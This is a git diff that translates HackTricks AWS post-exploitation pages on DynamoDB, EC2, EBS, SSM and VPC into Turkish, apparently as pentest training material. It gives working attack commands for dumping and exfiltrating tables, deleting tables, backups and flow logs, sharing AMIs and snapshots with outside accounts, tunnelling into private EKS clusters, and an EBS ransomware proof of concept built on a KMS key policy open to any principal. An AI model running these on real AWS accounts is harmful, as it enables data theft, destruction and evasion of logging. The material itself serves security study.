kümesini](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) kullanmaya izin verir, ancak birincil anahtar ile izin verilen tek karşılaştırma (görünmesi gereken) "EQ" olduğundan, bir istekte tüm veritabanını almak için bir karşılaştırma kullanamazsınız. {{#tabs }} {{#tab name="json file" }} - ```bash aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json - // With a.json - { +// With a.json +{ "Id" : { - "ComparisonOperator":"EQ", - "AttributeValueList": [ {"N": "205"} ] - } +"ComparisonOperator":"EQ", +"AttributeValueList": [ {"N": "205"} ] +} } ``` - {{#endtab }} {{#tab name="inline" }} - ```bash aws dynamodb query \ - --table-name TargetTable \ - --key-condition-expression "AttributeName = :value" \ - --expression-attribute-values '{":value":{"S":"TargetValue"}}' \ - --region +--table-name TargetTable \ +--key-condition-expression "AttributeName = :value" \ +--expression-attribute-values '{":value":{"S":"TargetValue"}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki yükseltme ### `dynamodb:Scan` -You can use this permission to **dump the entire table easily**. - +Bu izni kullanarak **tüm tabloyu kolayca dökebilirsiniz**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki artırma ### `dynamodb:PartiQLSelect` -You can use this permission to **dump the entire table easily**. - +Bu izni kullanarak **tüm tabloyu kolayca dökebilirsiniz**. ```bash aws dynamodb execute-statement \ - --statement "SELECT * FROM ProductCatalog" +--statement "SELECT * FROM ProductCatalog" ``` - -This permission also allow to perform `batch-execute-statement` like: - +Bu izin, `batch-execute-statement` gibi işlemleri gerçekleştirmeye de olanak tanır: ```bash aws dynamodb batch-execute-statement \ - --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' +--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` +ama bir değerle birincil anahtarı belirtmeniz gerekiyor, bu yüzden o kadar faydalı değil. -but you need to specify the primary key with a value, so it isn't that useful. - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki yükseltme ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -This permission will allow an attacker to **export the whole table to a S3 bucket** of his election: - +Bu izin, bir saldırgana **tüm tabloyu kendi seçtiği bir S3 kovasına dışa aktarma** imkanı verecektir: ```bash aws dynamodb export-table-to-point-in-time \ - --table-arn arn:aws:dynamodb:::table/TargetTable \ - --s3-bucket \ - --s3-prefix \ - --export-time \ - --region +--table-arn arn:aws:dynamodb:::table/TargetTable \ +--s3-bucket \ +--s3-prefix \ +--export-time \ +--region ``` - -Note that for this to work the table needs to have point-in-time-recovery enabled, you can check if the table has it with: - +Not edin ki bunun çalışması için tablonun zamanında geri yükleme (point-in-time-recovery) özelliğinin etkinleştirilmiş olması gerekir, tablonun bu özelliğe sahip olup olmadığını kontrol edebilirsiniz: ```bash aws dynamodb describe-continuous-backups \ - --table-name +--table-name ``` - -If it isn't enabled, you will need to **enable it** and for that you need the **`dynamodb:ExportTableToPointInTime`** permission: - +Eğer etkin değilse, **etkinleştirmeniz** gerekecek ve bunun için **`dynamodb:ExportTableToPointInTime`** iznine ihtiyacınız var: ```bash aws dynamodb update-continuous-backups \ - --table-name \ - --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true +--table-name \ +--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Potansiyel Etki:** Tablo içinde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -With these permissions, an attacker would be able to **create a new table from a backup** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **information** from the backups that c**ould not be any more in the production** table. - +Bu izinlerle, bir saldırgan **bir yedekten yeni bir tablo oluşturma** (veya hatta bir yedek oluşturup bunu farklı bir tabloda geri yükleme) yeteneğine sahip olacaktır. Ardından, gerekli izinlere sahip olduğunda, **üretim** tablosunda artık bulunmayan **bilgileri** yedeklerden kontrol edebilecektir. ```bash aws dynamodb restore-table-from-backup \ - --backup-arn \ - --target-table-name \ - --region +--backup-arn \ +--target-table-name \ +--region ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table backup +**Olası Etki:** Tablo yedeğinde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme ### `dynamodb:PutItem` -This permission allows users to add a **new item to the table or replace an existing item** with a new item. If an item with the same primary key already exists, the **entire item will be replaced** with the new item. If the primary key does not exist, a new item with the specified primary key will be **created**. +Bu izin, kullanıcıların **tabloya yeni bir öğe eklemesine veya mevcut bir öğeyi yeni bir öğe ile değiştirmesine** olanak tanır. Eğer aynı birincil anahtara sahip bir öğe zaten varsa, **tüm öğe** yeni öğe ile değiştirilecektir. Eğer birincil anahtar mevcut değilse, belirtilen birincil anahtara sahip yeni bir öğe **oluşturulacaktır**. {{#tabs }} {{#tab name="XSS Example" }} - ```bash ## Create new item with XSS payload aws dynamodb put-item --table --item file://add.json ### With add.json: { - "Id": { - "S": "1000" - }, - "Name": { - "S": "Marc" - }, - "Description": { - "S": "" - } +"Id": { +"S": "1000" +}, +"Name": { +"S": "Marc" +}, +"Description": { +"S": "" +} } ``` - {{#endtab }} -{{#tab name="AI Example" }} - +{{#tab name="AI Örneği" }} ```bash aws dynamodb put-item \ - --table-name ExampleTable \ - --item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \ - --region +--table-name ExampleTable \ +--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table +**Olası Etki:** DynamoDB tablosunda veri ekleyip/şekillendirerek daha fazla güvenlik açığı/atlatma istismar etme ### `dynamodb:UpdateItem` -This permission allows users to **modify the existing attributes of an item or add new attributes to an item**. It does **not replace** the entire item; it only updates the specified attributes. If the primary key does not exist in the table, the operation will **create a new item** with the specified primary key and set the attributes specified in the update expression. +Bu izin, kullanıcıların **bir öğenin mevcut niteliklerini değiştirmesine veya bir öğeye yeni nitelikler eklemesine** olanak tanır. Bu, **tüm öğeyi değiştirmez**; yalnızca belirtilen nitelikleri günceller. Eğer birincil anahtar tabloda yoksa, işlem **belirtilen birincil anahtara sahip yeni bir öğe oluşturur** ve güncelleme ifadesinde belirtilen nitelikleri ayarlar. {{#tabs }} {{#tab name="XSS Example" }} - ```bash ## Update item with XSS payload aws dynamodb update-item --table \ - --key file://key.json --update-expression "SET Description = :value" \ - --expression-attribute-values file://val.json +--key file://key.json --update-expression "SET Description = :value" \ +--expression-attribute-values file://val.json ### With key.json: { - "Id": { - "S": "1000" - } +"Id": { +"S": "1000" +} } ### and val.json { - ":value": { - "S": "" - } +":value": { +"S": "" +} } ``` - {{#endtab }} -{{#tab name="AI Example" }} - +{{#tab name="AI Örneği" }} ```bash aws dynamodb update-item \ - --table-name ExampleTable \ - --key '{"Id": {"S": "1"}}' \ - --update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \ - --expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \ - --region +--table-name ExampleTable \ +--key '{"Id": {"S": "1"}}' \ +--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \ +--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table +**Olası Etki:** Bir DynamoDB tablosunda veri ekleyip/değiştirerek daha fazla zafiyet/atlatma istismar etme ### `dynamodb:DeleteTable` -An attacker with this permission can **delete a DynamoDB table, causing data loss**. - +Bu izne sahip bir saldırgan **bir DynamoDB tablosunu silebilir, bu da veri kaybına neden olur.** ```bash aws dynamodb delete-table \ - --table-name TargetTable \ - --region +--table-name TargetTable \ +--region ``` - -**Potential impact**: Data loss and disruption of services relying on the deleted table. +**Olası etki**: Silinen tabloya dayanan hizmetlerde veri kaybı ve kesinti. ### `dynamodb:DeleteBackup` -An attacker with this permission can **delete a DynamoDB backup, potentially causing data loss in case of a disaster recovery scenario**. - +Bu izne sahip bir saldırgan, **bir DynamoDB yedeğini silebilir, bu da bir felaket kurtarma senaryosunda veri kaybına neden olabilir**. ```bash aws dynamodb delete-backup \ - --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ - --region +--backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ +--region ``` - -**Potential impact**: Data loss and inability to recover from a backup during a disaster recovery scenario. +**Potansiyel etki**: Veri kaybı ve bir felaket kurtarma senaryosunda bir yedekten geri yükleme yapamama. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] -> TODO: Test if this actually works +> TODO: Bunun gerçekten çalışıp çalışmadığını test et -An attacker with these permissions can **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. This allows the attacker to monitor and exfiltrate data changes, potentially leading to data leakage. - -1. Enable a stream on a DynamoDB table: +Bu izinlere sahip bir saldırgan, **bir DynamoDB tablosunda bir akışı etkinleştirebilir, tabloyu güncelleyerek değişiklikleri akıtmaya başlayabilir ve ardından tabloya yapılan değişiklikleri gerçek zamanlı olarak izlemek için akışı erişebilir**. Bu, saldırgana veri değişikliklerini izleme ve dışarıya aktarma imkanı tanır, bu da veri sızıntısına yol açabilir. +1. Bir DynamoDB tablosunda bir akışı etkinleştir: ```bash bashCopy codeaws dynamodb update-table \ - --table-name TargetTable \ - --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ - --region +--table-name TargetTable \ +--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ +--region ``` - -2. Describe the stream to obtain the ARN and other details: - +2. ARN ve diğer detayları elde etmek için akışı tanımlayın: ```bash bashCopy codeaws dynamodb describe-stream \ - --table-name TargetTable \ - --region +--table-name TargetTable \ +--region ``` - -3. Get the shard iterator using the stream ARN: - +3. Akış ARN'sini kullanarak shard iterator'ı alın: ```bash bashCopy codeaws dynamodbstreams get-shard-iterator \ - --stream-arn \ - --shard-id \ - --shard-iterator-type LATEST \ - --region +--stream-arn \ +--shard-id \ +--shard-iterator-type LATEST \ +--region ``` - -4. Use the shard iterator to access and exfiltrate data from the stream: - +4. Akıştan veri erişmek ve dışa aktarmak için shard iterator'ü kullanın: ```bash bashCopy codeaws dynamodbstreams get-records \ - --shard-iterator \ - --region +--shard-iterator \ +--region ``` - -**Potential impact**: Real-time monitoring and data leakage of the DynamoDB table's changes. +**Potansiyel etki**: DynamoDB tablosundaki değişikliklerin gerçek zamanlı izlenmesi ve veri sızıntısı. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 9ae6a0a4f..34d73b27f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -4,27 +4,26 @@ ## EC2 & VPC -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` +### **Kötü Amaçlı VPC Aynası -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** without the need to install anything on the instances themselves. This duplicated traffic would commonly be sent to something like a network intrusion detection system (IDS) for analysis and monitoring.\ -An attacker could abuse this to capture all the traffic and obtain sensitive information from it: +VPC trafik aynalama **bir VPC içindeki EC2 örnekleri için gelen ve giden trafiği çoğaltır** ve bu işlemi örneklerin kendisine herhangi bir şey yüklemeye gerek kalmadan gerçekleştirir. Bu çoğaltılmış trafik genellikle analiz ve izleme için bir ağ saldırı tespit sistemi (IDS) gibi bir yere gönderilir.\ +Bir saldırgan bunu kötüye kullanarak tüm trafiği yakalayabilir ve hassas bilgilere ulaşabilir: -For more information check this page: +Daha fazla bilgi için bu sayfayı kontrol edin: {{#ref}} aws-malicious-vpc-mirror.md {{#endref}} -### Copy Running Instance - -Instances usually contain some kind of sensitive information. There are different ways to get inside (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). However, another way to check what it contains is to **create an AMI and run a new instance (even in your own account) from it**: +### Çalışan Örneği Kopyala +Örnekler genellikle bazı hassas bilgileri içerir. İçeri girmek için farklı yollar vardır (bakınız [EC2 ayrıcalık yükseltme hileleri](../../aws-privilege-escalation/aws-ec2-privesc.md)). Ancak, içeriğin ne içerdiğini kontrol etmenin bir diğer yolu **bir AMI oluşturmak ve ondan yeni bir örnek çalıştırmaktır (hatta kendi hesabınızda bile)**: ```shell # List instances aws ec2 describe-images @@ -48,211 +47,191 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups " aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 ``` - ### EBS Snapshot dump -**Snapshots are backups of volumes**, which usually will contain **sensitive information**, therefore checking them should disclose this information.\ -If you find a **volume without a snapshot** you could: **Create a snapshot** and perform the following actions or just **mount it in an instance** inside the account: +**Anlık görüntüler, hacimlerin yedekleridir**, genellikle **hassas bilgiler** içerecektir, bu nedenle bunları kontrol etmek bu bilgileri açığa çıkarabilir.\ +Eğer **anlık görüntüsü olmayan bir hacim** bulursanız: **Bir anlık görüntü oluşturabilir** ve aşağıdaki işlemleri gerçekleştirebilir veya sadece **bir örneğe monte edebilirsiniz**: {{#ref}} aws-ebs-snapshot-dump.md {{#endref}} -### Data Exfiltration +### Veri Sızdırma -#### DNS Exfiltration +#### DNS Sızdırma -Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**. +Bir EC2'yi dışarıya trafik çıkmayacak şekilde kilitleseniz bile, hala **DNS üzerinden sızdırabilir**. -- **VPC Flow Logs will not record this**. -- You have no access to AWS DNS logs. -- Disable this by setting "enableDnsSupport" to false with: +- **VPC Akış Günlükleri bunu kaydetmeyecek**. +- AWS DNS günlüklerine erişiminiz yok. +- Bunu, "enableDnsSupport" değerini false olarak ayarlayarak devre dışı bırakın: - `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` +`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` -#### Exfiltration via API calls +#### API çağrıları aracılığıyla sızdırma -An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs. +Bir saldırgan, kendisi tarafından kontrol edilen bir hesabın API uç noktalarını çağırabilir. Cloudtrail bu çağrıları kaydedecek ve saldırgan, sızdırılan verileri Cloudtrail günlüklerinde görebilecektir. -### Open Security Group - -You could get further access to network services by opening ports like this: +### Açık Güvenlik Grubu +Ağ hizmetlerine daha fazla erişim elde etmek için portları şu şekilde açabilirsiniz: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` - ### Privesc to ECS -It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data. +Bir EC2 örneği çalıştırmak ve bunu ECS örneklerini çalıştırmak için kaydetmek mümkündür ve ardından ECS örneklerinin verilerini çalmak mümkündür. -For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). - -### Remove VPC flow logs +[**daha fazla bilgi için buraya bakın**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). +### VPC akış günlüklerini kaldırın ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` - ### SSM Port Forwarding -Required permissions: +Gerekli izinler: - `ssm:StartSession` -In addition to command execution, SSM allows for traffic tunneling which can be abused to pivot from EC2 instances that do not have network access because of Security Groups or NACLs. -One of the scenarios where this is useful is pivoting from a [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) to a private EKS cluster. +Komut yürütmenin yanı sıra, SSM, Güvenlik Grupları veya NACL'ler nedeniyle ağ erişimi olmayan EC2 örneklerinden geçiş yapmak için kötüye kullanılabilecek trafik tünellemesine izin verir. Bunun faydalı olduğu senaryolardan biri, bir [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) üzerinden özel bir EKS kümesine geçiş yapmaktır. -> In order to start a session you need the SessionManagerPlugin installed: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html - -1. Install the SessionManagerPlugin on your machine -2. Log in to the Bastion EC2 using the following command: +> Bir oturum başlatmak için SessionManagerPlugin'in yüklü olması gerekir: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html +1. Makinenizde SessionManagerPlugin'i yükleyin +2. Aşağıdaki komutla Bastion EC2'ye giriş yapın: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` - -3. Get the Bastion EC2 AWS temporary credentials with the [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) script -4. Transfer the credentials to your own machine in the `$HOME/.aws/credentials` file as `[bastion-ec2]` profile -5. Log in to EKS as the Bastion EC2: - +3. [AWS EC2 ortamında SSRF'yi kötüye kullanma](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) scripti ile Bastion EC2 AWS geçici kimlik bilgilerini alın +4. Kimlik bilgilerini kendi makinenize `$HOME/.aws/credentials` dosyasına `[bastion-ec2]` profili olarak aktarın +5. Bastion EC2 olarak EKS'e giriş yapın: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` - -6. Update the `server` field in `$HOME/.kube/config` file to point to `https://localhost` -7. Create an SSM tunnel as follows: - +6. `$HOME/.kube/config` dosyasındaki `server` alanını `https://localhost` olarak güncelleyin +7. Aşağıdaki gibi bir SSM tüneli oluşturun: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` - -8. The traffic from the `kubectl` tool is now forwarded throug the SSM tunnel via the Bastion EC2 and you can access the private EKS cluster from your own machine by running: - +8. `kubectl` aracından gelen trafik artık Bastion EC2 üzerinden SSM tüneli aracılığıyla yönlendiriliyor ve kendi makinenizden özel EKS kümesine erişmek için şu komutu çalıştırabilirsiniz: ```shell kubectl get pods --insecure-skip-tls-verify ``` +Not edin ki, SSL bağlantıları `--insecure-skip-tls-verify` bayrağını (veya K8s denetim araçlarındaki eşdeğerini) ayarlamazsanız başarısız olacaktır. Trafiğin güvenli AWS SSM tüneli üzerinden tünellendiğini göz önünde bulundurursak, MitM saldırılarından korunmuş olursunuz. -Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks. - -Finally, this technique is not specific to attacking private EKS clusters. You can set arbitrary domains and ports to pivot to any other AWS service or a custom application. - -### Share AMI +Son olarak, bu teknik özel EKS kümelerine saldırmak için spesifik değildir. Herhangi bir AWS hizmetine veya özel bir uygulamaya geçiş yapmak için rastgele alan adları ve portlar ayarlayabilirsiniz. +### AMI Paylaşımı ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` +### Kamuya açık ve özel AMI'lerde hassas bilgileri arama -### Search sensitive information in public and private AMIs - -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is a tool designed to **search for sensitive information within public or private Amazon Machine Images (AMIs)**. It automates the process of launching instances from target AMIs, mounting their volumes, and scanning for potential secrets or sensitive data. - -### Share EBS Snapshot +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel, **kamuya açık veya özel Amazon Machine Images (AMIs) içinde hassas bilgileri aramak için tasarlanmış bir araçtır**. Hedef AMI'lerden örnekler başlatma, hacimlerini bağlama ve potansiyel sırlar veya hassas veriler için tarama işlemini otomatikleştirir. +### EBS Anlık Görüntüsünü Paylaşma ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` - ### EBS Ransomware PoC -A proof of concept similar to the Ransomware demonstration demonstrated in the S3 post-exploitation notes. KMS should be renamed to RMS for Ransomware Management Service with how easy it is to use to encrypt various AWS services using it. - -First from an 'attacker' AWS account, create a customer managed key in KMS. For this example we'll just have AWS manage the key data for me, but in a realistic scenario a malicious actor would retain the key data outside of AWS' control. Change the key policy to allow for any AWS account Principal to use the key. For this key policy, the account's name was 'AttackSim' and the policy rule allowing all access is called 'Outside Encryption' +S3 post-exploitation notlarında gösterilen Ransomware demonstrasyonuna benzer bir kanıt. KMS, çeşitli AWS hizmetlerini şifrelemek için ne kadar kolay kullanıldığı göz önüne alındığında, Ransomware Yönetim Servisi (RMS) olarak yeniden adlandırılmalıdır. +Öncelikle bir 'saldırgan' AWS hesabından, KMS'de bir müşteri yönetimli anahtar oluşturun. Bu örnek için, AWS'nin anahtar verilerini benim için yönetmesine izin vereceğiz, ancak gerçek bir senaryoda kötü niyetli bir aktör anahtar verilerini AWS'nin kontrolü dışında tutar. Anahtar politikasını, herhangi bir AWS hesabı Prensipinin anahtarı kullanmasına izin verecek şekilde değiştirin. Bu anahtar politikası için, hesabın adı 'AttackSim' ve tüm erişime izin veren politika kuralı 'Dış Şifreleme' olarak adlandırılmıştır. ``` { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:root" - }, - "Action": "kms:*", - "Resource": "*" - }, - { - "Sid": "Allow access for Key Administrators", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Create*", - "kms:Describe*", - "kms:Enable*", - "kms:List*", - "kms:Put*", - "kms:Update*", - "kms:Revoke*", - "kms:Disable*", - "kms:Get*", - "kms:Delete*", - "kms:TagResource", - "kms:UntagResource", - "kms:ScheduleKeyDeletion", - "kms:CancelKeyDeletion" - ], - "Resource": "*" - }, - { - "Sid": "Allow use of the key", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey" - ], - "Resource": "*" - }, - { - "Sid": "Outside Encryption", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey", - "kms:GenerateDataKeyWithoutPlainText", - "kms:CreateGrant" - ], - "Resource": "*" - }, - { - "Sid": "Allow attachment of persistent resources", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:CreateGrant", - "kms:ListGrants", - "kms:RevokeGrant" - ], - "Resource": "*", - "Condition": { - "Bool": { - "kms:GrantIsForAWSResource": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow access for Key Administrators", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Create*", +"kms:Describe*", +"kms:Enable*", +"kms:List*", +"kms:Put*", +"kms:Update*", +"kms:Revoke*", +"kms:Disable*", +"kms:Get*", +"kms:Delete*", +"kms:TagResource", +"kms:UntagResource", +"kms:ScheduleKeyDeletion", +"kms:CancelKeyDeletion" +], +"Resource": "*" +}, +{ +"Sid": "Allow use of the key", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey" +], +"Resource": "*" +}, +{ +"Sid": "Outside Encryption", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey", +"kms:GenerateDataKeyWithoutPlainText", +"kms:CreateGrant" +], +"Resource": "*" +}, +{ +"Sid": "Allow attachment of persistent resources", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:CreateGrant", +"kms:ListGrants", +"kms:RevokeGrant" +], +"Resource": "*", +"Condition": { +"Bool": { +"kms:GrantIsForAWSResource": "true" +} +} +} +] } ``` - -The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume: +Anahtar politika kuralının, bir EBS hacmini şifrelemek için kullanılabilmesi adına aşağıdakilerin etkinleştirilmesi gerekir: - `kms:CreateGrant` - `kms:Decrypt` @@ -260,222 +239,214 @@ The key policy rule needs the following enabled to allow for the ability to use - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account. +Artık kullanılacak kamuya açık bir anahtar ile. Şifrelenmemiş EBS hacimleri eklenmiş bazı EC2 örnekleri olan bir 'kurban' hesabı kullanabiliriz. Bu 'kurban' hesabın EBS hacimleri, şifreleme hedefimizdir; bu saldırı, yüksek ayrıcalıklı bir AWS hesabının ihlal edildiği varsayımı altında gerçekleştirilmektedir. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Similar to the S3 ransomware example. This attack will create copies of the attached EBS volumes using snapshots, use the publicly available key from the 'attacker' account to encrypt the new EBS volumes, then detach the original EBS volumes from the EC2 instances and delete them, and then finally delete the snapshots used to create the newly encrypted EBS volumes. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +S3 fidye yazılımı örneğine benzer şekilde. Bu saldırı, ekli EBS hacimlerinin kopyalarını anlık görüntüler kullanarak oluşturacak, 'saldırgan' hesabından kamuya açık anahtarı kullanarak yeni EBS hacimlerini şifreleyecek, ardından orijinal EBS hacimlerini EC2 örneklerinden ayıracak ve silecek, ve son olarak yeni şifrelenmiş EBS hacimlerini oluşturmak için kullanılan anlık görüntüleri silecektir. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -This results in only encrypted EBS volumes left available in the account. +Bu, hesapta yalnızca şifrelenmiş EBS hacimlerinin kalmasıyla sonuçlanır. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Also worth noting, the script stopped the EC2 instances to detach and delete the original EBS volumes. The original unencrypted volumes are gone now. +Ayrıca, scriptin orijinal EBS hacimlerini ayırmak ve silmek için EC2 örneklerini durdurduğunu belirtmekte fayda var. Orijinal şifrelenmemiş hacimler artık yok. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy. - +Sonraki adım, 'saldırgan' hesabındaki anahtar politikasına geri dönmek ve anahtar politikasından 'Dış Şifreleme' politika kuralını kaldırmaktır. 